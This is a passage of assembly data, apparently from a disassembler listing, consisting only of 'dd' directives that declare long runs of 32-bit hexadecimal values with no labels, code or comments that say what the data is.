		dd 814F0240h, 0A82719CAh, 39C873FCh, 63803ADAh,	0B8C63450h
		dd 5700B405h, 0A0AD5217h, 1C38BCC7h, 1F55D00Ah,	4870C002h
		dd 2A038682h, 3A00757Eh, 1129BBE0h, 127A97C2h, 4007452Fh
		dd 0F691CAB8h, 0B2135BF1h, 0D4002C3Fh, 0C6BD8713h, 16F5041Fh
		dd 0C086F361h, 5666AB90h, 7CEC1E01h, 8834F8D1h,	60A42980h
		dd 4F48DDD2h, 3C987A00h, 0FC089107h, 0AF7B0076h, 4D26BEDBh
		dd 96008548h, 465E0411h, 10062Ch, 7478BD66h, 4CC98218h
		dd 0B0AFD600h, 0A15B0E30h, 6A050017h, 0CC64068Fh, 490B4EE4h
		dd 5CE04888h, 0B78039C4h, 0AE1211A7h, 0A4008025h, 0ED5A6E10h
		dd 0EBD5EF0h, 4C1B3B96h, 60D652C0h, 0AE2C974Dh,	0FA80B48Bh
		dd 0B0EA2458h, 0BB9F00F0h, 0AA3F237Ch, 2F00FCDAh, 4D574F8Bh
		dd 0B771BFh, 8E869BDBh,	49E061Ch, 0B5E80C1Dh, 0F25C8A40h
		dd 37357h, 2A35C87Fh, 361D1C50h, 84FBBF0Fh, 0D4BBA006h
		dd 0E9E8A78h, 5A259D94h, 205D16C0h, 9670B03Bh, 5CCF48h
		dd 0A9E8C384h, 0FE950Ah, 3B05665Fh, 70922B98h, 0A5755100h
		dd 0F10FDE18h, 56D72650h, 54661900h, 0E6522017h, 23B04B00h
		dd 0A87C4D54h, 59DA00F4h, 38936A16h, 457C8BB5h,	73D8475Dh
		dd 26A0EC01h, 136FE75Fh, 4231C4h, 4E7E4A80h, 99DBC75Ch
		dd 12D4B600h, 9A9467DFh, 0FF5400C0h, 9FA5767Bh,	0AA01D7DCh
		dd 2571B228h, 0FDF4C11Ch, 314E0052h, 95F6C97Ah,	0E84DA31Dh
		dd 0A922000Ch, 0AF86CBC0h, 0C5AB00E5h, 67C343F3h, 9400A65Ch
		dd 3EF40CB7h, 0AC1AF15h, 8022D7A0h, 7ED2009Bh, 0E1F5F213h
		dd 0B220B100h, 37CE4D8Bh, 7697D8Fh, 5EDC7704h, 78C200C7h
		dd 0C800FE3Bh, 8CF59F03h, 0FCAE87Ah, 0F4D792B3h, 0DBFB6900h
		dd 663C7F76h, 0E6298307h, 0F812D679h, 0D17EB0h,	432E727Ch
		dd 0F1682BC2h, 17C8E0BFh, 5DF205C8h, 0C0FC1430h, 89FAC760h
		dd 415C4Ch, 63A49CE0h, 29CAFF8Ah, 0C0D669h, 0F7A8AAD4h
		dd 660727D1h, 0ACAFD887h, 0E6E0AB10h, 0F4A67881h, 82620455h
		dd 803C8A40h, 709B2936h, 522F7801h, 5AEF271Eh, 3CA1E0C3h
		dd 0C66514B6h, 6301EE9Ch, 45FAB181h, 0EC05072h,	0CD423C69h
		dd 0F55D0F02h, 0B0832776h, 0B9C986D6h, 2FA8FC08h, 0CF1AAA39h
		dd 9444DAA1h, 0CD4BD180h, 60609403h, 0DA8EB69Eh, 0D4000FECh
		dd 0A84CCD3Eh, 0E29BE10h, 0F1D0F5F7h, 70EF98A0h, 86006CB5h
		dd 18B2689Dh, 831B7Eh, 8F770B81h, 20C6EE6h, 1DCEFD00h
		dd 0A0C22906h, 0E8B00Ah, 3FEBAF38h, 0C4FF254Ah,	0CFEF7D00h
		dd 0ACB21D8Fh, 73ED131Fh, 23C44006h, 6EE25618h,	443B802Ch
		dd 0C3BCB000h, 0C7E52Dh, 6F3D2F60h, 46D7A757h, 0BCD6100h
		dd 47B42944h, 7E3E02C7h, 58BE2FF5h, 89F44840h, 0E5EEE003h
		dd 0A9C89BBFh, 5D1BCC0h, 0EF96E30h, 4A8467F5h, 0E97C9860h
		dd 5A242FCFh, 1240D8C4h
		dd 0F99F62Ch, 2BCC0180h, 0EAE59460h, 0C793ECEh,	36C84107h
		dd 2FB3AE8Dh, 1FE0D8A4h, 98BF00FAh, 356C71D2h, 0C5008341h
		dd 0B0B78195h, 0D924C7h, 714C2701h, 0EB427453h,	0AC3DD00h
		dd 0A26A72A0h, 27690EDAh, 85009CC8h, 372D9B0Fh,	0F258010Fh
		dd 0BFDBE3AFh, 0E1238019h, 882A000Bh, 3722A743h, 484C0597h
		dd 72AC0BB8h, 0C5DCA05Bh, 0B9DC6BEh, 3EBB1588h,	0AF8FF020h
		dd 10B01BE9h, 4478B500h, 986BD04Ch, 49DE124Bh, 4620C0D7h
		dd 523ACF79h, 0AFB300AAh, 643CF7AEh, 0E19E7E9Bh, 0BB6AF4h
		dd 64A43DAh, 925EFA7Fh,	83091896h, 6BCC8086h, 0FC8E2D3h
		dd 0FE097E8Ch, 2B0F68A0h, 0D100F493h, 2CB9EE5h,	7435799h
		dd 5A1BFDC4h, 80BEB5FCh, 24D47064h, 0C3E58601h,	7B3252FFh
		dd 102370h, 0D19A787Fh,	0A719B630h, 5C300460h, 0B5680Fh
		dd 95A4112Ah, 65C7DF9Fh, 0B6F88200h, 3741D779h,	4E8C00C6h
		dd 7E0801CDh, 8100B4A8h, 1302AD12h, 7690A5h, 0A91C78EBh
		dd 9DF4F11Bh, 5E730103h, 0E8C4B7F0h, 2CCA4C08h,	16BC05D9h
		dd 34604E40h, 1D3975C0h, 9C17D4B1h, 0D8406D7Ch,	68FAAD90h
		dd 77E800D0h, 0F59ECBA2h, 8000BD8Fh, 0E074EEFDh, 1464BEFh
		dd 2E556B6Ch, 0F860D704h, 8C033EC5h, 4AF1D427h,	0B329B0E3h
		dd 4EE21F51h, 0B7DC0581h, 39E18035h, 0D4006D31h, 7FF8E803h
		dd 5BF276h, 27C67510h, 0C470812Fh, 900EC76h, 0B7537350h
		dd 48B88615h, 30000414h, 263D7437h, 0DF074776h,	23BC0693h
		dd 0C464B570h, 0AB453EB9h, 67CF3F8Eh, 0D66079CCh, 0F89C8C00h
		dd 0D3D2592Dh, 98F50688h, 1946CCEBh, 23178C00h,	117B7C40h
		dd 40948Fh, 4EC0F463h, 183DCC83h, 7CBC008Eh, 0D23821DAh
		dd 81FB009Eh, 7DBE3FA9h, 0EF015280h, 250CB247h,	0B7D4E887h
		dd 0A6779C9h, 18D7BC6h,	4C0400C4h, 0D7E5BE3Bh, 0D18AA107h
		dd 3A1080EFh, 3C74ADh, 4E69FE1Ch, 6C248F15h, 391FECBAh
		dd 81C0A954h, 29CC9B4h,	98620209h, 66D1FDFh, 3FEC480h
		dd 1700BCDAh, 0B7FD2EFCh, 2F61B5h, 8B319FDCh, 2426E7B8h
		dd 0EF3AC92Ch, 0DD97A602h, 0EB2E603Ch, 4AB90022h, 0F871CDA8h
		dd 0B0005556h, 623E541Dh, 3D8455Ch, 0BAA19D22h,	63D810DBh
		dd 350090BCh, 414D1406h, 80F685h, 1E57D228h, 77BB517Eh
		dd 79D98B00h, 0AADEF94Ch, 0A86501A2h, 127A399Eh, 1892C02Ah
		dd 0A93D3B00h, 0B5822EBBh, 0FD1E0094h, 0B6AF1FE9h, 8F1EE335h
		dd 0B0DE09E2h, 8DB79000h, 7E223Bh, 26445C7Dh, 0BD3D11A3h
		dd 0D10084F2h, 0F56869CEh, 0FEB0E654h, 55E00F3h, 76CD9229h
		dd 1107BDCBh, 51CC1401h, 26A974B0h, 0E81717E0h,	5F14008Ch
		dd 794E1F7Ah, 0C334Ch, 0FE509475h, 3661ACh, 55F1F68Eh
		dd 0EA384495h, 906B7007h, 0B02309DEh, 30EBE0B8h, 75430068h
		dd 0B612A9Ah, 0A8734976h, 0FB002090h, 9EDE05CBh, 0AD35781h
		dd 416E96F1h, 0D61101F8h, 0D8281756h, 7C90808Eh, 0E9FB3C00h
		dd 52106A46h, 83730Bh, 7B8149FAh, 137A4568h, 99663Ah, 73E2C1D7h
		dd 72B80BCh, 0F56EFDE9h, 0CA1E1077h, 983A6470h,	8B230311h
		dd 0C010AD22h, 79D94C6Bh, 0DE6F0F48h, 0B2E0A701h, 0E97DB15Bh
		dd 3D60D207h, 0DBC02CECh, 3E9F89DEh, 0E59DBCFBh, 35A1C09Ch
		dd 48718C0Ah, 0B50D5400h, 5FE23076h, 0A59D00EAh, 0A9FFF472h
		dd 0FE00684Eh, 0C08CA794h, 14A817F6h, 8C7A88D6h, 0BDB80101h
		dd 20CAA9B2h, 61001938h, 2670F7CBh, 3069B1h, 1814FDD7h
		dd 0A0EBC755h, 7DEEF37Dh, 4224Ch, 0B64E0995h, 9098FFh
		dd 0D01E8A8Eh, 9E2A0CB9h, 0C996A13Ah, 8F180E58h, 3CD7A0FBh
		dd 1C91CBD9h, 4086A99Dh, 3F2FCD90h, 0AFEA6B84h,	7D3BB801h
		dd 63ADBD4Ah, 3A550824h, 0F3763Fh, 0A1DA8170h, 0CDF49F9Dh
		dd 8826191Dh, 56294502h, 85F8A00Ch, 1EE0DD8Bh, 0E378F6h
		dd 4E0E450Dh, 5F07896Ch, 6FA55659h, 4CD24F1h, 9B8130h
		dd 0DA92197Bh, 0DBB9F597h, 6FD23460h, 0B8624DDCh, 0EED67DBFh
		dd 88B30078h, 70FCDF3Bh, 4604BC38h, 578F7415h, 6BBFC1C0h
		dd 0E48C0034h, 0D3112E8Dh, 31702C86h, 247904E8h, 30F1C300h
		dd 0E1BA625Ah, 0F0855F7Ah, 79B039F2h, 0CA03A073h, 0CD534F6Bh
		dd 0BFF1E0C5h, 118E0022h, 0B2D4829Eh, 24073A6Ah, 370F6D20h
		dd 654DEE70h, 35C30046h, 42A78850h, 9C072D6Fh, 0DE44EBB0h
		dd 6B53DDB0h, 7F2807D9h, 80A7ED41h, 99E5CB1Fh, 780657B8h
		dd 951664DEh, 0E8B50071h, 0E204BB3Ah, 0B20099BCh, 3183F6CDh
		dd 1FA7284h, 61A39A2Ch,	0D4D17512h, 0B00DBE0h, 0C6E64DB9h
		dd 0F7C5341h, 0E5DAB372h, 308D0053h, 0AEC5AD8Eh, 2D03CFE2h
		dd 4C9B6802h, 9F5690BBh, 94445047h, 8E292CDDh, 15230097h
		dd 0EB3FC3DAh, 803C983Dh, 0AF90691Eh, 5C6A4Ah, 6817B49Ch
		dd 0B3C8FCCAh, 0BAF9FB06h, 240280Dh, 5672581Dh,	5498A421h
		dd 8F039C03h, 7E823110h, 69CDA8F9h, 30C576ECh, 7F8853FBh
		dd 2A2C38C4h, 85007BF4h, 0DD5F5CDBh, 71AFEB4h, 0BD53FF7Ah
		dd 274BC18Bh, 8311906Fh, 710E628h, 0CFDDDC2Bh, 8055A79Bh
		dd 0D080C1EDh, 0CC07DBE4h, 0CE8E38F8h, 937DDD30h, 733300E9h
		dd 56CF3D8Ch, 0A5006CD2h, 348606E5h, 1B6718B6h,	38CEB7DDh
		dd 0B20FA886h, 6F9537CBh, 0C068A1Dh, 573DBC05h,	48D0A846h
		dd 3BCB1CB8h, 74184016h, 0DF377BBEh, 0E200EB7Eh, 0CF71A47Ch
		dd 0B0FE8B4Fh, 0B91030Fh, 0BB33BF5Bh, 0F72D57E9h, 0A7D61BA8h
		dd 0D9099201h, 83780504h, 4922E0h, 0CEB4462Ah, 0ACCD98B7h
		dd 3004DFE4h, 0FFE110F1h, 0B34EAF80h, 487E7049h, 0A724477Ch
		dd 9A3B0089h, 92D7436Fh, 0D5B0A6F2h, 0C9C21A01h, 1B4805FDh
		dd 2CDC79E5h, 0D376007Ah, 0D7C60D84h, 0DB391A74h, 0D6CB0039h
		dd 6FFE2C23h, 33243BA0h, 9CD2A980h, 0D0630132h,	11B5E705h
		dd 0F4C013F3h, 3A865F40h, 0E003FB6h, 0AE0D5B38h, 0F1000315h
		dd 6DC2572h, 28076101h,	0A02B2Ah, 0FA6702DAh, 0C3136EA9h
		dd 99351701h, 8A24BBD2h, 6044F440h, 0E1879CFh, 73EAD9AFh
		dd 0AA5E7580h, 78FC0765h, 4BFAD605h, 0D043341Dh, 0A8F62A8Fh
		dd 0CC0737h, 94B930D1h,	0CE359BC5h, 8A2FF703h, 183E444Ch
		dd 393DF3A0h, 0A026F211h, 1C00AA2Ah, 4CD3B5A6h,	984505C5h
		dd 41732C74h, 0E56B9A5Ch, 0A09FE015h, 3D190903h, 0A8478EABh
		dd 9BA64Dh, 9D88F327h, 1BB52AC6h, 818C683Ch, 47B4017Ah
		dd 35EC4557h, 39E5E892h, 0BD89D8F2h, 0C4808672h, 8CBCC290h
		dd 38196337h, 0AACEDE0h, 0C60400B8h, 26F11F08h,	9B98AD2Dh
		dd 0CE22A38h, 68E580DEh, 23E20Ah, 9946DBA0h, 0E7FC02A3h
		dd 753F21Ch, 8BB1E50Eh,	40FF8050h, 3C8B47ACh, 3F03B0B7h
		dd 0F43D02FCh, 9E613EE0h, 892C1F1Dh, 4006A34Eh,	992B7591h
		dd 5DD41EC8h, 5796C041h, 0B431D63Ah, 977EFB00h,	0E1B96E2Fh
		dd 9BC40040h, 6279DF1Ch, 0D3000475h, 952AD6BBh,	3F4B8CBFh
		dd 0F180DD36h, 3E64D222h, 0B0A0D8EDh, 0B500A52Dh, 0F466A4FBh
		dd 1C872DFh, 9DC9B26Ah,	0E181D656h, 1E20D406h, 1B51D307h
		dd 25509B14h, 24A5EBB1h, 200919h, 0C0B73F7Fh, 977E6779h
		dd 0D89ED300h, 0CF126D0Ch, 0AE4100A7h, 0BF6E3796h, 5008561h
		dd 34F2E20Ah, 0F7C9DBh,	14D6D79Fh, 82E53F6Ah, 9D9EC500h
		dd 0D9E99AE2h, 540BF5Dh, 0DB002F31h, 0CD46B035h, 2FFA9D20h
		dd 0BA54840Eh, 47A5BD01h, 0B040A66Bh, 8BE317h, 1BE07261h
		dd 63B764DCh
		dd 0BB9D3C00h, 39E247FAh, 104D0C9Eh, 872989ACh,	107BF420h
		dd 11BAC1A4h, 0D111381Eh, 0F35311B4h, 0DA080721h, 8A4C8848h
		dd 78845F90h, 42D648C7h, 0EB2588B1h, 0C6AB3C04h, 7450285Fh
		dd 41978977h, 9064AF28h, 2C846EC9h, 14E34A9Ch, 51CA900Ch
		dd 6522846Ah, 892F44B5h, 0F0A5F500h, 668C3C68h,	0B39E0074h
		dd 0C11829E6h, 73730F22h, 0A15C8200h, 0B8DCDE5Bh, 0B27B00A4h
		dd 92F16A52h, 0BE004EF2h, 339C9671h, 7249DDA2h,	0B8BA0006h
		dd 8F417E3Dh, 0A907B935h, 0B52C9015h, 4443F8C0h, 0A1D500EBh
		dd 1299E453h, 0FC3F59A4h, 0ECE18349h, 0B87DCD72h, 9011B03h
		dd 949BF5A9h, 5033D580h, 4001F13Dh, 14B454CAh, 0FC407745h
		dd 0B2F3CFh, 5166C84Fh,	0A1D4485Eh, 0C73E6900h,	81216A0Bh
		dd 9618002Dh, 9574F04Fh, 6E38140Ah, 0E6488C4Dh,	5D8042h
		dd 333205CCh, 277B7325h, 1AD1DC00h, 13868A8Eh, 0E85A0059h
		dd 0B40DC5F2h, 6222C264h, 0F1C760F9h, 6146909Ah, 93242B00h
		dd 2960F0A7h, 96CA0057h, 6910EB0Ah, 15FA4E5Ah, 3504DC00h
		dd 3FDA1CABh, 24F0058h,	678A628Eh, 2C0007EDh, 9682DB74h
		dd 0F587D1Dh, 0A7D3BABDh, 2E9297C2h, 706E060h, 878B8903h
		dd 0E85F57DCh, 0CAAEF0h, 2A63D8D6h, 0E2444552h,	8025983Ah
		dd 3BFF9B9Eh, 0DF9029h,	4C2496AAh, 7A4D3250h, 4EAE3800h
		dd 0F737BC8Dh, 8F230F99h, 692F048Ah, 66803900h,	9400DF52h
		dd 0AF68AEA1h, 73FF4D60h, 647209EAh, 74837DC7h,	809F311Bh
		dd 5B15A3BAh, 755E6800h, 0D67D093Bh, 88F0050h, 455CFB35h
		dd 0E600F131h, 8930BED7h, 0D0F38Dh, 0BB54EC1Ch,	0AE1DCDB0h
		dd 5A004B7Eh, 90C49920h, 1C95F756h, 0C791B3EBh,	6B7D2557h
		dd 9C438A00h, 2307131Fh, 2FFD6088h, 0E7A3ECD0h,	0A01900CEh
		dd 2838B791h, 0FA008BB4h, 574FA562h, 9EDD5Bh, 0A1063722h
		dd 67933FC6h, 64EF4205h, 0D8C0107Fh, 714E2673h,	94C100E0h
		dd 7CAA3429h, 81792BA2h, 83DC213Ch, 555AAEBAh, 72429FFFh
		dd 0B60C4029h, 6F790C5Fh, 0C828E8CAh, 80E52700h, 14AF169Dh
		dd 3CFC07CBh, 9E024A5Eh, 790548E0h, 361485F8h, 0F8DF77h
		dd 0F9330FA6h, 361DAh, 54B12088h, 4A5D6063h, 0AC002AEAh
		dd 0A86DBF56h, 73FADDh,	0F4859B83h, 0E6970BD9h,	4D5A200h
		dd 0ED894C8Ch, 16B310DCh, 0CFE20E62h, 0E82FC31Dh, 0F65DE0E5h
		dd 37DA0139h, 8BDE0D90h, 5A260CCh, 7294D600h, 602842F4h
		dd 57993D44h, 821DC200h, 4C6A74F7h, 80A3F339h, 7F906F1h
		dd 7A464A3Ah, 2690039h,	0A2B6B758h, 7201A541h, 0EC5AA012h
		dd 9441E587h, 1AC8321Dh, 0D2480079h, 5E73DBD4h,	897B475Fh
		dd 8782B200h, 0E0B09CABh, 2CD600B7h, 98FA58E8h,	6203F0F5h
		dd 0CA91BD3h, 0DCFFD05Eh, 0D23900ADh, 714B823Dh, 98000DE0h
		dd 0C260A55Bh, 3E34186h, 25CC780Fh, 0DB915F3h, 0E5FDC8ECh
		dd 0D2F22609h, 83E0002Ah, 135C36h, 865EFB64h, 1A11FCCCh
		dd 0F700DA77h, 6CFFD6DCh, 0A19160h, 0EFA4F48Dh,	13CD4071h
		dd 11A5A01h, 0E41DE275h, 7A7BE440h, 0BC671E7h, 0CF86210Ch
		dd 419C6A80h, 16E06FEBh, 78237130h, 0E501297h, 853AEC49h
		dd 90E07C60h, 95EE8210h, 16C1CE00h, 40546530h, 0F39426A9h
		dd 97A500A8h, 0E3FFE686h, 9BD06301h, 46C7A7D8h,	4E0C02Eh
		dd 350002B1h, 0F77A8933h, 5EAF8Dh, 724A3157h, 4EE3F525h
		dd 0D29DD700h, 6237EAE1h, 0E8BC90FEh, 36250002h, 0B8DE8EF6h
		dd 66002235h, 5276E7FAh, 0C4F992h, 6C9E9FC5h, 89B5AA64h
		dd 84780900h, 207EF075h, 71C40E87h, 0A0003D81h,	1E311D14h
		dd 4A861F03h, 9AEF05D2h, 0AEAF80DFh, 98C8B6E8h,	162F7AACh
		dd 23BBB7D1h, 4E01F3Ch,	1500924Ch, 7035A8A2h, 718E6343h
		dd 95120FA4h, 0F440099Fh, 545C4C64h, 0B6AF4400h, 945E69B1h
		dd 1D6214B5h, 7196DCh, 0B0F0DA56h, 7721DD70h, 81C09C00h
		dd 0E37C0B10h, 88507B6h, 20691329h, 56217B62h, 35E56000h
		dd 3DAF3B84h, 0A2AE00A7h, 263479Fh, 6800CECAh, 0A14CDA29h
		dd 1D39A8D2h, 8725C9BEh, 70D5E7A7h, 47AFC01Eh, 1C13497Eh
		dd 0C1012CA3h, 2061F4DEh, 0F5482887h, 0B3AA009Fh, 0DFFD4FEDh
		dd 0CDB176E8h, 0D4B0B600h, 38998ED6h, 2C90FBh, 3238578h
		dd 0CA91080Ah, 9832D200h, 0B5412A4Fh, 1102CC5h,	0BEFD0088h
		dd 8BCF7EBh, 3FED1800h,	0F996671Dh, 0F0E00006h,	0AD2B1EB5h
		dd 0DB0061E5h, 80DC2003h, 0A71270h, 0B97A43B3h,	9A7B6DFAh
		dd 1B49FE1Fh, 90D99240h, 58D2Eh, 5E75C876h, 0B869243Fh
		dd 56CDC407h, 0B6C07255h, 0F5864Ch, 24DA21B0h, 2022B7F0h
		dd 1C6F9F00h, 366EFD34h, 19F4A805h, 53D107FBh, 50CC9AFAh
		dd 46A616A9h, 9E3D2B01h, 61BD8C47h, 83BEE445h, 86F812BCh
		dd 850099DBh, 71795714h, 78CF5E6h, 0AC8F76Ah, 164160A1h
		dd 2D1C0CECh, 1EC028BAh, 21D7CD8Bh, 0A313007Eh,	0FF6A393Ah
		dd 98A0BD98h, 7500E716h, 297A61CFh, 26D71B46h, 58C7AEh
		dd 0A2D44A65h, 6A006BC1h, 17802353h, 8270E7h, 0DDCC7BB2h
		dd 2D165B64h, 74484F00h, 0FD9609F0h, 0BBA7001Dh, 5B41C35Dh
		dd 0B70422C6h, 0BEFEF365h, 0CD1A3300h, 0E4A8DC93h, 8A1359F9h
		dd 3C001CB7h, 51D36FC3h, 50783879h, 0E8E17C80h,	0F419D47Ah
		dd 0AB9A3C00h, 3DEAEF3Fh, 4BF60042h, 0DC3610AEh, 38008743h
		dd 59480902h, 0FC335C69h, 0D0F71383h, 0A1700CDh, 0C88C8511h
		dd 656FBC0Eh, 0E5B0B8ADh, 0B0130277h, 0CC2E700Ah, 0EE54808Fh
		dd 0E0412101h, 0C1A3D0EBh, 15C7097h, 0E25A79C0h, 0AD96D8h
		dd 70F4C3CFh, 9D7F126Fh, 0DA3B2700h, 46C4C04Eh,	0E03705A2h
		dd 1BC7E76h, 4DAAB380h,	0DEC8300Ch, 0FF8A4800h,	0F640E92Bh
		dd 9A009FF9h, 3E12F3EBh, 0C5BB2200h, 540693E0h,	50B9018Dh
		dd 0D163DD88h, 24353091h, 52CB1107h, 99A023DBh,	26F1201Bh
		dd 0B426A2h, 48E0458Eh,	0FA60EDFEh, 76A318D8h, 0ECE51477h
		dd 0E40FC0D1h, 711CBEEh, 8DF13B74h, 8E4934F0h, 0D4905409h
		dd 0BAD90029h, 213FF388h, 5500A1F9h, 6F1F9322h,	56E75Eh
		dd 0DE8F478Bh, 20862F0Ah, 0ED8EA600h, 0D7522869h, 567F0B39h
		dd 0D90779BAh, 6A87504Ch, 0D0008244h, 1EB1C53Dh, 0E295DCh
		dd 6792A1FCh, 0BF03A58Dh, 2F6BAD12h, 85A2B500h,	0B5BC26h
		dd 3AAB3D73h, 4702E084h, 5C932000h, 0C5FD36FCh,	0B0BD4C22h
		dd 0CE0D9F01h, 0ECAB2A06h, 6100DFB3h, 33854A0h,	0B01CF385h
		dd 0D3930099h, 8153147Ch, 0B8004F63h, 0FD2FC5E1h, 733425C0h
		dd 0C9BFA78h, 0B47D9AFh, 871335A8h, 0B0405BE7h,	6018550Ch
		dd 0C1100284h, 2FDFAE13h, 15EDB0A0h, 0CF00D927h, 1E779AB5h
		dd 457DB7h, 2532B174h, 0BF637998h, 0EE5AFE00h, 50526B29h
		dd 5B8626DFh, 465F1D2Ch, 5131B5A0h, 0F17F339h, 5EE3AB67h
		dd 0B09ED900h, 50267BF0h, 361CC22h, 4EF7B94Ch, 58395866h
		dd 0F44D80D5h, 9956049Ch, 914F000Eh, 0C952B8EFh, 660018CDh
		dd 89D87F07h, 0F839EEh,	8077A708h, 0DEC43D26h, 65954C00h
		dd 5BDF6FCh, 0B0BE5091h, 127F750Fh, 0C7199656h,	0A310D098h
		dd 750932ADh, 0D38F42h,	9FAC41BFh, 0F6710B04h, 5C2F687Fh
		dd 3FB4B140h, 3E02C628h, 7748FE76h, 5B08636h, 0B056530Ah
		dd 24312300h, 0BC14E559h, 61BF2Fh, 5053136Ah, 9883557Fh
		dd 0ADC460D6h, 9170122Ch, 8A6C40D0h, 268ECD1h, 50426204h
		dd 0CCC06ACBh, 38322B9h
		dd 957EBF49h, 4280A455h, 0C826339Fh, 6A009BF9h,	0FDF463BDh
		dd 24C498CCh, 1EE4D960h, 0BC00FB56h, 0CFB34417h, 9A0010EFh
		dd 0A0452ABBh, 0FA724906h, 4F5F0B7Dh, 3480908Fh, 0A63ECF02h
		dd 984C7C74h, 918D0050h, 50D017E5h, 0FD352E06h,	448602B8h
		dd 4C60A8C0h, 1D105E67h, 110FCE9Ah, 750009E6h, 0FD90A704h
		dd 2B54DC00h, 0D8DEED5Bh, 7F3602C6h, 8BACE33Fh,	2CB41860h
		dd 14C3530Fh, 4F22A0CAh, 3821F74h, 0FEC9E32Bh, 0D000C08Ah
		dd 9FD42E8Fh, 0F595C16h, 0F14EF76h, 9D504161h, 5515E024h
		dd 0AFF5DB00h, 524316CEh, 0C7E88Ah, 0F32F65D6h,	805C2B51h
		dd 9948CB00h, 8121542Eh, 0FD303FCh, 630E39D6h, 4C0CF0B0h
		dd 1B196B0Eh, 538261DAh, 0B6D05BFFh, 7B890715h,	0F0C0907Ah
		dd 0B749503Ch, 71EC6A50h, 875A27h, 9B970A3Ch, 7BC42C9Eh
		dd 0DF019FB0h, 0B45C943Eh, 0FABFA800h, 9FDFD765h, 0EA679628h
		dd 494FB400h, 4709F28Bh, 891B0079h, 0B813F834h,	0E4005DA0h
		dd 8AA6F3CCh, 0E180FEh,	0DA824ADFh, 2BB43BDh, 4F187F00h
		dd 6291F461h, 7E1D4C2Ch, 0D4851714h, 94C13D02h,	500C350h
		dd 0F41352Ah, 7CCA4061h, 87766B60h, 120FE10Dh, 47BF6A1Ah
		dd 0AF90B864h, 9014AEh,	3DA0F250h, 63FB9A07h, 6601A4ECh
		dd 950417C2h, 5300D9DEh, 0D00E889h, 974D4EECh, 58D0DBFBh
		dd 0A05BCD3h, 0D61ACC68h, 0E800F99Ch, 0E1F3DDFDh, 484760BAh
		dd 0AA58BE65h, 55EE3600h, 3ECCF4C9h, 9318FC3Eh,	40006D7Eh
		dd 0CF4F0689h, 0F8B109B6h, 4064F799h, 0A717D509h, 5548A041h
		dd 92755B1Ch, 18FF03B4h, 9E8F6D65h, 7B8E05A8h, 8274900Eh
		dd 92DC80B0h, 0CD8464h,	832569D8h, 0CEAEF09Bh, 2709880Fh
		dd 675F236Bh, 24359054h, 0B1A009Ch, 0A602F930h,	0F5046CDAh
		dd 0B6B55911h, 589040C7h, 1F4FFBh, 8CCE946Dh, 2F49F99Bh
		dd 9C0BDCB8h, 8F359AF3h, 7A66E0F4h, 0A0FA6F37h,	149FCE3h
		dd 0EED6597h, 0F8690482h, 7200E7CEh, 5CF58F35h,	480B453h
		dd 0DEFE2AF9h, 0F390F0D4h, 7C01384Eh, 4CEDECDAh, 0BDC27C4h
		dd 0BC66A239h, 7A8BEC10h, 12AB5D48h, 0BD052CFAh, 9807AA0Fh
		dd 5F3E740Eh, 10D5D200h, 0A7E08Ah, 0B4407301h, 4404B54Ah
		dd 55421A01h, 14D27C8Bh, 75453E0h, 0C4B2DA1Ch, 0A07DC767h
		dd 0AB039DEBh, 9F0A0503h, 0F0A1933Fh, 1C1E1D76h, 7D109B17h
		dd 0C06CD507h, 47E3F095h, 0C802EC05h, 8EB92F76h, 9AB6C0F1h
		dd 0C6553D33h, 59367C03h, 70C0EC0Fh, 4307DFC8h,	0FC4A6294h
		dd 68C63332h, 5303FCh, 0F5925A1Ah, 9542EEE6h, 0D1A9C402h
		dd 0E02FB956h, 0FFD084BBh, 0F8E3E8h, 4C43F1AAh,	0B8407858h
		dd 2BE8BD00h, 4A3B9914h, 4C08980Ah, 1906FC08h, 0CE062A73h
		dd 0C100F0F2h, 72817447h, 0B63465h, 0C509133Eh,	25FDE016h
		dd 6D4CAD05h, 0C8A75E8Ah, 0DE8E1A09h, 0E8E01400h, 0BE00FBB8h
		dd 281D4FA4h, 3FEE7D34h, 73289AE2h, 0F6E4E0h, 0EFB2572h
		dd 7828ADD5h, 0E5BBC107h, 1951BDF2h, 80C8A229h,	0D7D000FFh
		dd 0C99F18D1h, 643B5D5Ch, 0C10E02FBh, 489BEBB2h, 4D5B939Ch
		dd 34015881h, 0A69DD571h, 15D107Fh, 62AD0011h, 81225AAFh
		dd 0C5002595h, 72A5FC0Fh, 719EFC9h, 46E414A2h, 8FC6F028h
		dd 0BD0032BEh, 7645FF47h, 0C040DDEEh, 24744D80h, 46F608BBh
		dd 0E495831Eh, 8EDC1CC0h, 2C18E0CDh, 381B14h, 0B38E566h
		dd 0EA00FDBFh, 6353CE01h, 0E4B0B772h, 95370FDDh, 3F20F14Fh
		dd 1FFF6E05h, 300AA500h, 91543CE4h, 690101DFh, 66920DBBh
		dd 6C78EE1Ch, 78BE7400h, 8C6B6AE8h, 7320957h, 0C88030A0h
		dd 8792D660h, 0B2049096h, 80B7F99Ah, 0A1BDE509h, 0B45F1CC0h
		dd 601A5403h, 0D4A7341Dh, 0E0EA0100h, 0CA00170Eh, 0BC9D4AD3h
		dd 4347C3h, 0C4A06C30h,	0CBFDDDC9h, 1B209A09h, 328C082h
		dd 0CEDA005Ah, 0E266DB4Dh, 0F009A746h, 80A498A8h, 80BE0903h
		dd 9EE2CFh, 7E81398Ch, 0FC3B26D6h, 9C00717Fh, 0A049FEEAh
		dd 76A41D8h, 0C5C21BB7h, 44A38974h, 0E8D04279h,	310512CBh
		dd 0B76FF488h, 0B420D8B0h, 210247Ch, 0CD13E375h, 771E5460h
		dd 0D3BF3B00h, 0D58394CEh, 26637C1Bh, 0F7CD73Fh, 60B9DDC6h
		dd 8846FA44h, 1B96B00h,	5A16EA41h, 0C4DC3EDEh, 64BC5184h
		dd 0E6C3BB68h, 2AA3C894h, 0BE691EDAh, 0A89B00B2h, 9761D0B3h
		dd 0B9282E00h, 0FBD6073Eh, 0EE0D00A1h, 1783DCFCh, 443E2DBAh
		dd 5B490040h, 0E59A5251h, 0C0E600E2h, 0C2424E4Bh, 561CEDEBh
		dd 0C681604Ah, 91696BF4h, 87078441h, 8E3DF4h, 47FA8A01h
		dd 0A08B68B9h, 2A4D5A00h, 0D428FB80h, 37C500E4h, 170AC904h
		dd 6C3D5461h, 0CC0913F1h, 0AEF05887h, 4C7F4007h, 1D1D0C0Dh
		dd 0D4102F6Fh, 632D507Dh, 0E6C2986h, 0EDAD013Ch, 0E03BD222h
		dd 261E04D0h, 3140BC57h, 7CBD6598h, 66450246h, 4D4B0F05h
		dd 474ED440h, 9C622539h, 78070A7Eh, 14B04A2Ch, 0B899F7h
